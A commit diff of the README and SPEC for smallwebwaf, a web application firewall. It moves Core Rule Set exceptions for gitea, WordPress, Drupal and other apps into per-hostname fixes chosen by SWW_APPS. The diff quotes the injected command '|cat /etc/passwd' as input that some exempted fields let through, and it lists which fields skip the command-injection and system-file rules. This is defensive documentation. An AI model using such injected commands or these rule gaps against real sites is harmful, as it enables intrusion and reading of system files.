Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
427841bdbd |
No files matched your search
@@ -221,7 +221,7 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
@@ -280,6 +280,7 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
|
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
@@ -581,31 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
|
||||||
requests get through to the apps listed below. No setting undoes the changes;
|
requests to a code forge through, such as git over HTTP and sign-in through
|
||||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
[`SPEC.md`](SPEC.md) lists them.
|
||||||
ordinary requests pass the Core Rule Set:
|
- Each supported app also has its own fixes, which let its ordinary requests
|
||||||
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
||||||
through. On gitea's own paths, its searches, file names and branch names
|
settings. The supported apps, by their names in `SWW_APPS`, are:
|
||||||
do too.
|
- `gitea`, whose fixes let its searches, file names and branch names
|
||||||
- WordPress: saving a post from the block editor gets through. On
|
through;
|
||||||
WordPress's own paths, its searches, names and file names do too.
|
- `wordpress`, whose fixes let through its searches, its names, its file
|
||||||
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
names and a post saved from the block editor;
|
||||||
names get through.
|
- `drupal`, whose fixes let through the page to return to, its searches and
|
||||||
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
|
its names;
|
||||||
wikitext get through.
|
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
||||||
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
|
names and its wikitext;
|
||||||
posts and deliveries from other servers get through.
|
- `mastodon`, whose fixes let through its searches, its names, its email
|
||||||
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
addresses, its posts and deliveries from other servers;
|
||||||
addresses and encrypted file names get through.
|
- `vaultwarden`, whose fixes let through its names, its password hints, its
|
||||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
email addresses and its encrypted file names;
|
||||||
WebDAV methods, searches, file names, account names, comments and
|
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||||
documents do too.
|
its searches, its file names, its account names, its comments and its
|
||||||
- A password made of any printable characters gets through these forms:
|
documents.
|
||||||
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
|
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
||||||
- signing in, signing up, changing the password, and moving or deleting the
|
apps' fixes, and a hostname it does not list gets none. Unset, every app's
|
||||||
account, on Mastodon.
|
fixes apply to every hostname.
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -81,8 +81,8 @@ to them.
|
|||||||
of bans is full.
|
of bans is full.
|
||||||
- `internal/rules`: reads the rule files at start and again when they
|
- `internal/rules`: reads the rule files at start and again when they
|
||||||
change, and tells which rules a request matches.
|
change, and tells which rules a request matches.
|
||||||
- `internal/coreruleset`: the Core Rule Set, with the fourteen changes
|
- `internal/coreruleset`: the Core Rule Set, with the six changes and the
|
||||||
listed under "Attack detection", as Coraza directives.
|
apps' fixes listed under "Attack detection", as Coraza directives.
|
||||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||||
database.
|
database.
|
||||||
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
||||||
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||||
holds an app's own exclusions. The eighth to fourteenth changes below hold
|
holds an app's own exclusions; the apps' fixes below hold those of each app
|
||||||
those of the apps they name.
|
`SWW_APPS` takes.
|
||||||
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
||||||
before the Core Rule Set's rules. The Core Rule Set loads its own
|
before the Core Rule Set's rules. The Core Rule Set loads its own
|
||||||
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
||||||
@@ -723,23 +723,14 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
scanner from an ordinary client. In front of a code forge, registry and git
|
scanner from an ordinary client. In front of a code forge, registry and git
|
||||||
clients get `404` and `401` by design, hundreds of times a minute.
|
clients get `404` and `401` by design, hundreds of times a minute.
|
||||||
|
|
||||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
|
`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of
|
||||||
it would refuse ordinary requests to these apps:
|
gitea it would otherwise refuse ordinary requests. The changes hold in front of
|
||||||
|
every app, and no setting undoes them:
|
||||||
- gitea;
|
|
||||||
- WordPress;
|
|
||||||
- Drupal;
|
|
||||||
- MediaWiki;
|
|
||||||
- Mastodon;
|
|
||||||
- Vaultwarden;
|
|
||||||
- Nextcloud.
|
|
||||||
|
|
||||||
The changes hold in front of every app, and no setting undoes them:
|
|
||||||
|
|
||||||
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
||||||
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
||||||
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
|
Other methods stay refused, except on Nextcloud's WebDAV paths, where
|
||||||
fourteenth change allows the WebDAV methods Nextcloud uses.
|
Nextcloud's fixes allow the WebDAV methods Nextcloud uses.
|
||||||
2. The request header `Expect` is allowed, since curl and git send it before
|
2. The request header `Expect` is allowed, since curl and git send it before
|
||||||
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
||||||
Core Rule Set does not read, which by default is every request. git
|
Core Rule Set does not read, which by default is every request. git
|
||||||
@@ -747,15 +738,68 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
the Core Rule Set does read, the header stays refused, since a compressed
|
the Core Rule Set does read, the header stays refused, since a compressed
|
||||||
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
|
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
|
||||||
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
|
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
|
||||||
body the fourteenth change leaves unread. The other headers the Core Rule Set
|
body Nextcloud's fixes leave unread. The other headers the Core Rule Set
|
||||||
refuses, such as `Proxy`, stay refused.
|
refuses, such as `Proxy`, stay refused.
|
||||||
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
||||||
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
||||||
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
||||||
`http://127.0.0.1` on the user's own machine. The server never fetches that
|
`http://127.0.0.1` on the user's own machine. The server never fetches that
|
||||||
address.
|
address.
|
||||||
4. Ten query parameters are not checked against the Core Rule Set's lists of
|
4. `Referer` is not checked for a Unix command given without arguments (932340),
|
||||||
system files (930120), shell paths (932160) and command names (932260):
|
for Java starting a process (944110) or for a Java class name (944130).
|
||||||
|
`Referer` names the page a request comes from, on everything that page loads
|
||||||
|
and on every link followed from it. The Core Rule Set takes some page
|
||||||
|
addresses for attacks:
|
||||||
|
- a search for `env`;
|
||||||
|
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
|
||||||
|
- a file named `java.lang.String.md`.
|
||||||
|
|
||||||
|
Every request from such a page would be refused. `Referer` keeps the other
|
||||||
|
rules, except after some gitea searches (gitea's fixes). An app that passes
|
||||||
|
`Referer` to a shell must check it itself.
|
||||||
|
|
||||||
|
5. Responses are not inspected. A raw file from a repository, such as a shell
|
||||||
|
script, looks to the response rules like source code leaking from the server.
|
||||||
|
6. The `from` parameter of a container registry's upload path,
|
||||||
|
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
|
||||||
|
a push reuses a layer, `from` names the image the layer comes from. An image
|
||||||
|
such as `owner/python3-app` would have that push refused.
|
||||||
|
|
||||||
|
Each supported app also has its own fixes, which let its ordinary requests
|
||||||
|
through. `SWW_APPS` says which hostnames get which app's fixes:
|
||||||
|
|
||||||
|
- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
|
||||||
|
then one or more apps separated by commas, for example
|
||||||
|
`git.example.com:gitea;blog.example.com:wordpress`.
|
||||||
|
- The request's `Host` is matched by exact name, without its port and without
|
||||||
|
regard to case. There are no wildcards.
|
||||||
|
- A hostname not listed gets no app's fixes, so every rule checks it in full.
|
||||||
|
Set empty, `SWW_APPS` lists no hostname.
|
||||||
|
- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
|
||||||
|
the check of any other app that serves the same paths or fields.
|
||||||
|
- Any of these mistakes stops the start:
|
||||||
|
- an unknown app;
|
||||||
|
- a hostname that is not a DNS name, such as `*.example.com`;
|
||||||
|
- a hostname listed twice;
|
||||||
|
- an app listed twice for one hostname;
|
||||||
|
- an entry without a colon.
|
||||||
|
|
||||||
|
The supported apps are:
|
||||||
|
|
||||||
|
- `drupal`;
|
||||||
|
- `gitea`;
|
||||||
|
- `mastodon`;
|
||||||
|
- `mediawiki`;
|
||||||
|
- `nextcloud`;
|
||||||
|
- `vaultwarden`;
|
||||||
|
- `wordpress`.
|
||||||
|
|
||||||
|
Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and
|
||||||
|
one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||||
|
|
||||||
|
1. Ten query parameters are not checked against the Core Rule Set's lists of
|
||||||
|
system files (930120), shell paths (932160) and command names (932260), on
|
||||||
|
any path:
|
||||||
- `path`, `files`, `skip-to` and `sub_path`;
|
- `path`, `files`, `skip-to` and `sub_path`;
|
||||||
- `ref`, `sha`, `branch` and `workflow`;
|
- `ref`, `sha`, `branch` and `workflow`;
|
||||||
- `artifactName` and `redirect_to`.
|
- `artifactName` and `redirect_to`.
|
||||||
@@ -767,43 +811,19 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
or `docker-build`. In these parameters, what only these three rules would
|
or `docker-build`. In these parameters, what only these three rules would
|
||||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||||
still refused there. Other parameters keep all three rules. The eighth to
|
still refused there. Other parameters keep all three rules, except on the
|
||||||
fourteenth changes switch some of them off for some fields on the paths of
|
paths named in gitea's third fix and in the other apps' fixes.
|
||||||
the apps they name. An app that uses one of these parameters as a file on
|
|
||||||
the server, or passes it to a shell, must check the value itself. A rule
|
|
||||||
file can refuse it instead.
|
|
||||||
|
|
||||||
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
2. The Core Rule Set reads the request without the `gitea_flash` and
|
||||||
- The Core Rule Set reads the request without the `gitea_flash` and
|
|
||||||
`redirect_to` cookies. gitea puts a message naming what was just done into
|
`redirect_to` cookies. gitea puts a message naming what was just done into
|
||||||
`gitea_flash`. It puts into `redirect_to` the page to return to after
|
`gitea_flash`. It puts into `redirect_to` the page to return to after signing
|
||||||
signing in. The Core Rule Set takes file names in them, such as
|
in. The Core Rule Set takes file names in them, such as `package.json`, for
|
||||||
`package.json`, for attacks. A browser sends such a cookie with every
|
attacks. A browser sends such a cookie with every request until gitea
|
||||||
request until gitea replaces it. gitea cannot replace it while those
|
replaces it. gitea cannot replace it while those requests are refused, so one
|
||||||
requests are refused, so one refusal would keep the browser out of the
|
refusal would keep the browser out of the whole site. gitea shows the message
|
||||||
whole site. gitea shows the message with any script removed and returns
|
with any script removed and returns only to its own pages. Every other cookie
|
||||||
only to its own pages. Every other cookie is read in full. An app that
|
is read in full.
|
||||||
reads a cookie of either name must check it itself.
|
3. On gitea's paths, some fields skip the rules that refused ordinary gitea
|
||||||
- `Referer` is not checked for a Unix command given without arguments
|
|
||||||
(932340), for Java starting a process (944110) or for a Java class name
|
|
||||||
(944130). `Referer` names the page a request comes from, on everything
|
|
||||||
that page loads and on every link followed from it. The Core Rule Set
|
|
||||||
takes some page addresses for attacks:
|
|
||||||
- a search for `env`;
|
|
||||||
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
|
|
||||||
- a file named `java.lang.String.md`.
|
|
||||||
|
|
||||||
Every request from such a page would be refused. `Referer` keeps the
|
|
||||||
other rules, except after some gitea searches (the eighth change). An
|
|
||||||
app that passes `Referer` to a shell must check it itself.
|
|
||||||
|
|
||||||
6. Responses are not inspected. A raw file from a repository, such as a shell
|
|
||||||
script, looks to the response rules like source code leaking from the server.
|
|
||||||
7. The `from` parameter of a container registry's upload path,
|
|
||||||
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
|
|
||||||
a push reuses a layer, `from` names the image the layer comes from. An image
|
|
||||||
such as `owner/python3-app` would have that push refused.
|
|
||||||
8. On gitea's paths, some fields skip the rules that refused ordinary gitea
|
|
||||||
requests there. They are the fields where gitea sends a search, a file name
|
requests there. They are the fields where gitea sends a search, a file name
|
||||||
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
|
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
|
||||||
request it refused. The fields are:
|
request it refused. The fields are:
|
||||||
@@ -821,8 +841,7 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- packages.
|
- packages.
|
||||||
|
|
||||||
A user's or an organisation's page is any path of one segment, so on
|
A user's or an organisation's page is any path of one segment, so on
|
||||||
every such path, on any app, `q` skips these three rules, for example on
|
every such path `q` skips these three rules, for example on `/search`.
|
||||||
`/search`.
|
|
||||||
|
|
||||||
Some of these searches also skip the rule for Java class names (944130),
|
Some of these searches also skip the rule for Java class names (944130),
|
||||||
which refused `org.apache.commons.logging`.
|
which refused `org.apache.commons.logging`.
|
||||||
@@ -860,43 +879,41 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
`actions/upload-artifact@v3` (920450).
|
`actions/upload-artifact@v3` (920450).
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of gitea at the
|
Elsewhere these fields keep every rule. The paths are those of gitea at the
|
||||||
site root. An app other than gitea that serves one of them must check these
|
site root.
|
||||||
fields itself.
|
|
||||||
|
WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
||||||
|
ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
|
||||||
|
each rule and the request it refused. The REST API has four addresses:
|
||||||
|
|
||||||
9. On WordPress's paths, some fields skip the rules that refused ordinary
|
|
||||||
WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
|
|
||||||
rule and the request it refused. The REST API has four addresses:
|
|
||||||
- `/wp-json/...`
|
- `/wp-json/...`
|
||||||
- `/index.php/wp-json/...`
|
- `/index.php/wp-json/...`
|
||||||
- `/index.php?rest_route=/...`
|
- `/index.php?rest_route=/...`
|
||||||
- `/?rest_route=/...`
|
- `/?rest_route=/...`
|
||||||
|
|
||||||
The fields are:
|
The fields are:
|
||||||
- The header `X-HTTP-Method-Override` on any address of the REST API
|
|
||||||
(920450). The block editor saves a post with `POST` and names `PUT` in
|
- The header `X-HTTP-Method-Override` on any address of the REST API (920450).
|
||||||
this header.
|
The block editor saves a post with `POST` and names `PUT` in this header.
|
||||||
- Three groups of fields skip the rules on system files and commands
|
- Three groups of fields skip the rules on system files and commands (930120,
|
||||||
(930120, 932120, 932250, 932260). The fields hold searches, names and
|
932120, 932250, 932260). The fields hold searches, names and addresses of
|
||||||
addresses of WordPress's own pages, and any of them can hold any word. The
|
WordPress's own pages, and any of them can hold any word. The groups are:
|
||||||
groups are:
|
|
||||||
- On all of `/wp-admin/` and on `/wp-login.php`:
|
- On all of `/wp-admin/` and on `/wp-login.php`:
|
||||||
- the searches `s`, `search`, `q` and `term`;
|
- the searches `s`, `search`, `q` and `term`;
|
||||||
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
|
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and
|
||||||
and `stylesheet`;
|
`stylesheet`;
|
||||||
- the name of a plugin's settings page in `page`;
|
- the name of a plugin's settings page in `page`;
|
||||||
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
|
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and
|
||||||
and `_wp_http_referer`.
|
`_wp_http_referer`.
|
||||||
- On every REST API route under `/wp/v2/` and on the route
|
- On every REST API route under `/wp/v2/` and on the route
|
||||||
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
|
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
|
||||||
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
|
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`.
|
||||||
`tag`.
|
|
||||||
|
|
||||||
The addresses of the first group also skip the rule on Unix commands
|
The addresses of the first group also skip the rule on Unix commands
|
||||||
(932235), because an address repeats the search it came from. The other
|
(932235), because an address repeats the search it came from. The other
|
||||||
fields of the groups keep that rule.
|
fields of the groups keep that rule.
|
||||||
|
|
||||||
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
|
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of
|
||||||
of PowerShell commands and command names (932120, 932260):
|
PowerShell commands and command names (932120, 932260):
|
||||||
- the name of a template in `p` and `postId` of the site editor;
|
- the name of a template in `p` and `postId` of the site editor;
|
||||||
- the name of a plugin to install in `slug`.
|
- the name of a plugin to install in `slug`.
|
||||||
|
|
||||||
@@ -904,49 +921,40 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
|
|
||||||
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
|
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
|
||||||
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
|
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
|
||||||
(930120, 932120). The block editor's link previews and embeds send an
|
(930120, 932120). The block editor's link previews and embeds send an address
|
||||||
address in this field.
|
in this field.
|
||||||
|
|
||||||
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
|
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without
|
||||||
without arguments (932340). The media list's own address ends in `&ps`.
|
arguments (932340). The media list's own address ends in `&ps`.
|
||||||
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
|
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for
|
||||||
for the lists of system files, shell paths, command names and JavaScript
|
the lists of system files, shell paths, command names and JavaScript names
|
||||||
names (930120, 932120, 932160, 932260, 941180).
|
(930120, 932120, 932160, 932260, 941180).
|
||||||
- These fields of a body. Each applies only when the query has no parameter
|
- These fields of a body. Each applies only when the query has no parameter of
|
||||||
of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
|
that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
|
||||||
- `content` of a post, a page, a template or a template part saved
|
- `content` of a post, a page, a template or a template part saved through
|
||||||
through the REST API. It holds HTML and any code it shows.
|
the REST API. It holds HTML and any code it shows.
|
||||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||||
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
- `newcontent` of a plugin's or a theme's file saved from its editor, which
|
||||||
which is PHP.
|
is PHP.
|
||||||
- `pwd`, the password when signing in, for each rule that random
|
- `pwd` when signing in, for the list of system files (930120).
|
||||||
passwords set off (920270, 920540, 921200, 930100, 930110, 930120,
|
- `title`, `excerpt` and `name` in a JSON body sent to any REST API route
|
||||||
932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
under `/wp/v2/`, for the rules on system files and commands (930120,
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210,
|
932120, 932250, 932260).
|
||||||
941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230,
|
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the
|
||||||
942290, 942320, 942540, 942550, 944150). An SQL injection or a path
|
lists of PowerShell commands and command names (932120, 932260).
|
||||||
traversal sent as the password reaches WordPress. A script injection
|
- `url` on `/wp-comments-post.php`, the address of a commenter's site, for
|
||||||
is still refused.
|
the lists of system files and PowerShell commands (930120, 932120).
|
||||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
|
||||||
route under `/wp/v2/`, for the rules on system files and commands
|
|
||||||
(930120, 932120, 932250, 932260).
|
|
||||||
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
|
|
||||||
the lists of PowerShell commands and command names (932120, 932260).
|
|
||||||
- `url` on `/wp-comments-post.php`, the address of a commenter's site,
|
|
||||||
for the lists of system files and PowerShell commands (930120,
|
|
||||||
932120).
|
|
||||||
|
|
||||||
Elsewhere this change does not apply. The paths are those of WordPress at
|
Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at
|
||||||
the site root. An app other than WordPress that serves one of them must
|
the site root.
|
||||||
check these fields itself.
|
|
||||||
|
|
||||||
10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
|
Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
||||||
requests there. `internal/coreruleset/drupal.conf` lists each rule and the
|
ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each
|
||||||
request it refused. These query fields skip the lists of system files and
|
rule and the request it refused. These query fields skip the lists of system
|
||||||
command names (930120, 932120, 932250, 932260):
|
files and command names (930120, 932120, 932250, 932260):
|
||||||
- On every page under `/admin`: `title`, `name`, `user`, `filename`,
|
|
||||||
`filemime`, `info`, `subject`, `author_name`, `search`, `q` and
|
- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`,
|
||||||
`destination`.
|
`info`, `subject`, `author_name`, `search`, `q` and `destination`.
|
||||||
- `destination` on the pages Drupal links to with one, such as these:
|
- `destination` on the pages Drupal links to with one, such as these:
|
||||||
- `/node/1/edit`;
|
- `/node/1/edit`;
|
||||||
- `/user/login`;
|
- `/user/login`;
|
||||||
@@ -959,16 +967,16 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `/ckeditor5/{editor}/entity-link-suggestions`;
|
- `/ckeditor5/{editor}/entity-link-suggestions`;
|
||||||
- `/block-category/autocomplete`.
|
- `/block-category/autocomplete`.
|
||||||
- Every `filter[...]` field on `/jsonapi/`.
|
- Every `filter[...]` field on `/jsonapi/`.
|
||||||
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the
|
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query
|
||||||
query or a body.
|
or a body.
|
||||||
|
|
||||||
`destination` also skips 932230 and 932235, because it holds the address of
|
`destination` also skips 932230 and 932235, because it holds the address of a
|
||||||
a page of results. `url` on `/media/oembed`, the address of a video, skips
|
page of results. `url` on `/media/oembed`, the address of a video, skips only
|
||||||
only 930120 and 932120.
|
930120 and 932120.
|
||||||
|
|
||||||
These fields of a body skip the rules that refused them:
|
These fields of a body skip the rules that refused them:
|
||||||
- On the node, comment and media forms, for 930120, 932120, 932250 and
|
|
||||||
932260:
|
- On the node, comment and media forms, for 930120, 932120, 932250 and 932260:
|
||||||
- the title;
|
- the title;
|
||||||
- the summary;
|
- the summary;
|
||||||
- the tags;
|
- the tags;
|
||||||
@@ -991,39 +999,32 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `description.value`.
|
- `description.value`.
|
||||||
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
|
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
|
||||||
four rules.
|
four rules.
|
||||||
- The body and comment body on the node and comment forms and through
|
- The body and comment body on the node and comment forms and through JSON:API,
|
||||||
JSON:API, which hold HTML and any code it shows.
|
which hold HTML and any code it shows.
|
||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
- `pass`, the password when signing in, in form data or JSON, for each rule
|
|
||||||
that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
|
||||||
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
|
||||||
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
|
||||||
942540, 942550, 944150). An SQL injection or a path traversal sent as the
|
|
||||||
password reaches Drupal. A script injection is still refused.
|
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when resetting a password through Drupal's JSON format on
|
||||||
`/user/password`, for the same four rules.
|
`/user/password`, for the same four rules.
|
||||||
- `mail` in that same reset, for 932120 and 932260 only.
|
- `mail` in that same reset, for 932120 and 932260 only.
|
||||||
- `name` when signing up, editing an account and commenting without an
|
- `name` when signing up, editing an account and commenting without an account,
|
||||||
account, for the same four rules.
|
for the same four rules.
|
